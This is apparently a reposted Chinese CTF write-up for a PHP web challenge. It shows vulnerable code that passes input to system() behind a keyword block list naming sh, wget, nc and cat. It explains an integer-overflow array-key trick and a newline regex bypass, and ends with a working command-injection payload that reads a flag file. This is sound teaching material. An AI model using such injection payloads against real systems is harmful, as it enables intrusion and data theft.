zoukankan      html  css  js  c++  java
  • CTF-webfavorite_number

    CTF-webfavorite_number

    题目链接
    考点知识:PHP代码审计、PHP正则表达式、PHP整型溢出、linux系统命令

    解题思路

    1、题目源码解析

    <?php
    //php5.5.9
    $stuff = $_POST["stuff"];
    $array = ['admin', 'user'];
    //要求POST提交的stuff强等于array,也就是类型与数值相等,且stuff[0]不等于admin
    //PHP5.5.9整型溢出溢出漏洞,stuff[2^32]=stuff[0]
    if($stuff === $array && $stuff[0] != 'admin') {
        $num= $_POST["num"];
    //利用url换行符%0a,第一行是数字绕过正则
        if (preg_match("/^d+$/im",$num)){
    //利用tac与反引号
            if (!preg_match("/sh|wget|nc|python|php|perl|?|flag|}|cat|echo|*|^|]|\\|'|"||/i",$num)){
                echo "my favorite num is:";
                system("echo ".$num);
            }else{
                echo 'Bonjour!';
            }
        }
    } else {
        highlight_file(__FILE__);
    } 
    
    

    最终payload:

    stuff[4294967296]=admin&stuff[1]=user&num=123%0atac+/fla``g
    

  • 相关阅读:
    正则表达式之re模块
    collections模块
    openpyxl模块
    hashlib模块
    random模块
    os模块
    sys模块
    nodeType
    数据类型转换
    添加删除
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/14084257.html
Copyright © 2011-2022 走看看